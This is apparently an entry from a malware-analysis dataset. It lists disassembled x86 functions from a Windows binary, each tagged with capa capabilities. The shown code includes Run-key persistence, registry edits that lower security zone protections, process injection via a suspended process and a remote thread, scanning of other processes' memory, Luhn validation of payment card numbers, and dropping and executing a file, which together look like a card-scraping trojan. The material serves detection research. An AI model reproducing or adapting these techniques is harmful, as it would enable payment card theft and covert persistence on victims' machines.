joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402af0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x406784
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x402b49
cmp dword [ebp - 4], 0
je 0x402b42
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x402c06
cmp dword [ebp - 8], 1
jne 0x402b60
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x402c06
mov dword [ebp - 0x10], 0x25
push 0x25
push 0x407b60
call fcn.00403110
add esp, 8
lea ecx, [ebp - 0x10]
push ecx
push 0x407b60
lea edx, [ebp - 8]
push edx
push 0
push 0x406758
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x402bb0
mov ecx, 1
imul edx, ecx, 0
movzx eax, byte [edx + 0x407b60]
test eax, eax
jne 0x402bbe
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x402c06
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x4a
push 0x407660
call fcn.00403110
add esp, 8
push 0x25
push 0x407660
push 0x407b60
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407b60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x402c01
xor eax, eax
jmp 0x402c06
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x402c10
Capabilities:
Copy file
Create directory
Delete file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
call fcn.00402ff0
push 5
lea eax, [ebp - 0x1c]
push eax
call fcn.00401340
add esp, 8
lea ecx, [ebp - 0x224]
push ecx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x224]
push ecx
push str._s_s_s.exe
push 0x4076c0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
lea edx, [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x402c7b
jmp 0x402df6
push 0
push 0x4076c0
push 0x4078e0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x402c96
jmp 0x402df6
push 0x4078e0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x407b60
call fcn.004013e0
add esp, 4
push 0x4a
push 0x407660
push 0x407b60
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407b60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 8]
push eax
push 0
push 2
mov ecx, dword [ebp - 0x10]
push ecx
push 0
push 0
push 0x406784
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402d07
jmp 0x402df6
push 0x407b60
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
push edx
push 0x407b60
push 1
push 0
push 0x406758
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 8]
push edx
push 2
push 0
push 0x4067a4
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402d61
jmp 0x402d9a
push 0x4076c0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
push 0x4076c0
push 1
push 0
push 0x407660
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 8]
push eax
push 2
push 0
push 0x4067a4
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402dbd
jmp 0x402df6
push 0x4076c0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
push 0x4076c0
push 1
push 0
push 0x407660
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x402ff0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesAssociations
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40305d
push str..exe_.bat_.reg_.vbs_
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
push edx
push str..exe_.bat_.reg_.vbs_
push 1
push 0
push str.LowRiskFileTypes
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 8]
push edx
push 0x20006
push 0
push 0x4068d0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4030ae
mov dword [ebp - 0xc], 0
push 4
lea eax, [ebp - 0xc]
push eax
push 4
push 0
push 0x406958
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 8]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403107
mov dword [ebp - 0xc], 0
push 4
lea ecx, [ebp - 0xc]
push ecx
push 4
push 0
push str.1806
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x403150
Capabilities:
Create process on windows
Create process suspended
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0x44
lea eax, [ebp - 0x68]
push eax
call fcn.00403110
add esp, 8
mov dword [ebp - 0x68], 0x44
push 0x10
lea ecx, [ebp - 0x24]
push ecx
call fcn.00403110
add esp, 8
mov dword [0x407264], 1
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push 0x407440
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4031bb
jmp 0x403328
push 2
push 0
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [0x407260]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x403200
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403328
mov ecx, dword [0x407260]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
mov dword [0x407260], edx
cmp dword [ebp + 8], 1
jne 0x40328a
mov eax, dword [0x407268]
mov dword [0x40726c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [0x407270], ecx
push 2
push 0
push 0
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [0x407274]
push ecx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x403275
push 0
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403328
mov edx, dword [0x407274]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov dword [0x407274], eax
mov ecx, dword [0x407b30]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x24]
push eax
call fcn.00403370
add esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4032ce
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403328
mov ecx, entry0
sub ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
push 0
push 0
push 0
mov edx, dword [ebp - 0x14]
push edx
push 0
push 0
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x403308
cmp dword [ebp + 8], 0
jne 0x403306
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x403328
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x403b20
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x24], 0
push 0x128
push 0
push 0x4072e0
call fcn.00401940
add esp, 0xc
mov dword [0x4072e0], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x18], eax
push 0x4072e0
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32First
push 0x407304
call fcn.00403d70
add esp, 4
cmp eax, 1
jne 0x403b7c
jmp 0x403d13
mov ecx, dword [0x407268]
cmp ecx, dword [0x4072e8]
je 0x403b98
mov edx, dword [0x407268]
cmp edx, dword [0x4072f8]
jne 0x403b9d
jmp 0x403d13
mov dword [ebp - 4], 0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4072e8]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403bcd
jmp 0x403d13
cmp dword [0x407b90], 1
jne 0x403bf9
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [0x407b98]
cmp dword [ebp - 0x20], 0
jne 0x403bf9
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403d13
mov dword [ebp - 0xc], 0
mov ecx, 1
test ecx, ecx
je 0x403d09
push 0x1c
push 0
lea edx, [ebp - 0x40]
push edx
call fcn.00401940
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [ebp - 0x40], 0
jne 0x403c42
cmp dword [ebp - 0xc], 0
je 0x403c42
jmp 0x403d09
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x2c]
and ecx, 1
jne 0x403c5e
mov edx, dword [ebp - 0x2c]
and edx, 0x100
je 0x403c60
jmp 0x403c00
mov dword [ebp - 8], 0
cmp dword [ebp - 0x34], 0
jbe 0x403d04
cmp dword [ebp - 8], 0
je 0x403c84
mov eax, dword [ebp - 8]
add eax, 0x64000
mov dword [ebp - 8], eax
jmp 0x403c8a
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 8], ecx
cmp dword [ebp - 0x34], 0x64000
jbe 0x403ca8
mov dword [ebp - 0x1c], 0x64000
mov edx, dword [ebp - 0x34]
sub edx, 0x64000
mov dword [ebp - 0x34], edx
jmp 0x403cb5
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [0x407278]
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00403dc0
add esp, 8
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.004046e0
add esp, 8
jmp 0x403c67
jmp 0x403c00
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4072e0
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x403b65
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x404f80
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x38], 8
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x24], 9
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
jmp 0x404ffe
cmp dword [ebp - 8], 0
jne 0x404ff1
mov dword [ebp - 0x10], 1
jmp 0x404ff8
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 0x20], 0
je 0x405045
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx]
sub edx, 0x30
mov dword [ebp - 0x14], edx
cmp dword [ebp - 8], 0
je 0x405030
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
jmp 0x40503a
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + ecx*4 - 0x48]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
jmp 0x404fe2
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 0xa
idiv ecx
test edx, edx
jne 0x40505d
mov dword [ebp - 0x1c], 1
jmp 0x405064
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x4055a0
Capabilities:
Create process on windows
Generate random numbers via winapi
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x47c
mov dword [ebp - 4], 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004024d0
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4056b8
lea edx, [ebp - 0x47c]
push edx
push 0
push 0
push 0x20
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 2
push 5
lea eax, [ebp - 0x18]
push eax
push 0
call sub.bcrypt.dll_BCryptGenRandom
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x47c]
push edx
push str._s_S.exe
lea eax, [ebp - 0x274]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0x8000080
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x274]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x405662
mov dword [ebp - 0x10], 0
push 0
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4000
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x44
push 0
lea eax, [ebp - 0x6c]
push eax
call fcn.00401940
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x28]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x274]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x4056c0
Capabilities:
Delete file
Delete registry key
Persist via run registry key
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x1388
mov eax, dword [0x407b28]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x4056ed
push 1
mov ecx, dword [0x407b28]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0x1388
mov edx, dword [0x407b24]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x405714
push 1
mov eax, dword [0x407b24]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0x1388
mov ecx, dword [0x407b20]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x40573c
push 1
mov edx, dword [0x407b20]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x407270]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
push 0x1388
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x405771
push 1
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.SoftwareResilience_Software
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 4], eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 4], eax
push str..DEFAULTSOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 4], eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 4], eax
push 0x4076c0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0xc], eax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x404390
Capabilities:
Get common file path
Get disk information
Get hostname
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1544
call fcn.0040af30
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [0x470598]
push ebx
mov ebx, dword [eax + 4]
mov eax, dword [0x47059c]
push esi
mov dword [ebp - 0x18], eax
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], edx
call fcn.00404380
mov edi, dword [ebp - 0xc]
mov ecx, dword [0x4705a0]
mov edx, dword [0x4705a4]
add edi, 0x23f
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x10], 0x20
lea ecx, [ecx]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov esi, dword [ebp - 8]
mov eax, dword [0x477d1c]
shl esi, 4
add esi, dword [ebp - 0x1c]
cmp eax, 0xfa9
jne 0x40441c
mov dword [0x477d18], 0xedeb2e40
jmp 0x404437
cmp eax, 0x3eb
jne 0x404437
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [0x4777a8], 0
mov eax, dword [ebp - 8]
lea ecx, [edi + eax]
mov eax, dword [ebp - 8]
shr eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x20]
add dword [ebp - 4], edx
xor esi, ecx
cmp dword [0x477d1c], 0x9e6
mov dword [0x477d14], 0xf4ea3dee
jne 0x404470
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor dword [ebp - 4], esi
cmp dword [0x477d1c], 0x213
jne 0x40450d
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
lea eax, [ebp - 0x944]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x1544]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
lea eax, [ebp - 0xd44]
push eax
push 0
push 0x403f68
push 0x403fb8
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea ecx, [ebp - 0x28]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
lea edx, [ebp - 0x144]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
sub ebx, dword [ebp - 4]
cmp dword [0x477d1c], 0xc
jne 0x404521
push 0
call dword [sym.imp.KERNEL32.dll_GlobalWire]
mov ecx, ebx
shr ecx, 5
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x18]
add dword [ebp - 4], eax
mov edx, ebx
shl edx, 4
add edx, dword [ebp - 0x14]
lea eax, [edi + ebx]
xor edx, eax
xor edx, dword [ebp - 4]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
sub dword [ebp - 8], eax
add edi, 0x61c88647
sub dword [ebp - 0x10], 1
jne 0x4043f0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
pop edi
pop esi
mov dword [eax + 4], ebx
mov dword [eax], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404570
Capabilities:
Clear file content
Connect pipe
Get thread local storage value
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c08
call fcn.0040af30
mov eax, dword [0x477d1c]
mov ecx, dword [0x4777ac]
shr eax, 3
test eax, eax
jbe 0x40467b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
mov edi, edi
cmp dword [0x477d1c], 0x959
jne 0x404661
push 0
lea eax, [ebp - 0x1408]
push eax
push 0
push 0x403fc8
push 0
push 0
call edi
push 0
push 0
push 0
call ebx
push 0
lea ecx, [ebp - 0xc08]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
lea edx, [ebp - 0x1c08]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push 0
call dword [sym.imp.KERNEL32.dll_TlsFree]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
lea eax, [ebp - 0x408]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404390
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x4045b0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4078e0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46f4f8]
jne 0x4078ea
repz ret
jmp fcn.0040cb1e

Function at 0x40c743
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409c16
and dword [ebp - 4], 0
cmp dword [0x475798], 0
mov ebx, eax
jne 0x40c7f4
push 0x401d44
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40c8a5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401d38
push edi
call esi
test eax, eax
je 0x40c8a5
push eax
call fcn.00409ba4
mov dword [esp], 0x401d28
push edi
mov dword [0x475798], eax
call esi
push eax
call fcn.00409ba4
mov dword [esp], 0x401d14
push edi
mov dword [0x47579c], eax
call esi
push eax
call fcn.00409ba4
mov dword [esp], 0x401cf8
push edi
mov dword [0x4757a0], eax
call esi
push eax
call fcn.00409ba4
pop ecx
mov dword [0x4757a8], eax
test eax, eax
je 0x40c7f4
push 0x401ce0
push edi
call esi
push eax
call fcn.00409ba4
pop ecx
mov dword [0x4757a4], eax
mov eax, dword [0x4757a4]
cmp eax, ebx
je 0x40c84c
cmp dword [0x4757a8], ebx
je 0x40c84c
push eax
call fcn.00409c1f
push dword [0x4757a8]
mov esi, eax
call fcn.00409c1f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40c84c
test edi, edi
je 0x40c84c
call esi
test eax, eax
je 0x40c843
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40c843
test byte [ebp - 0xc], 1
jne 0x40c84c
or dword [ebp + 0x10], 0x200000
jmp 0x40c885
mov eax, dword [0x47579c]
cmp eax, ebx
je 0x40c885
push eax
call fcn.00409c1f
pop ecx
test eax, eax
je 0x40c885
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40c885
mov eax, dword [0x4757a0]
cmp eax, ebx
je 0x40c885
push eax
call fcn.00409c1f
pop ecx
test eax, eax
je 0x40c885
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x475798]
call fcn.00409c1f
pop ecx
test eax, eax
je 0x40c8a5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40c8a7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret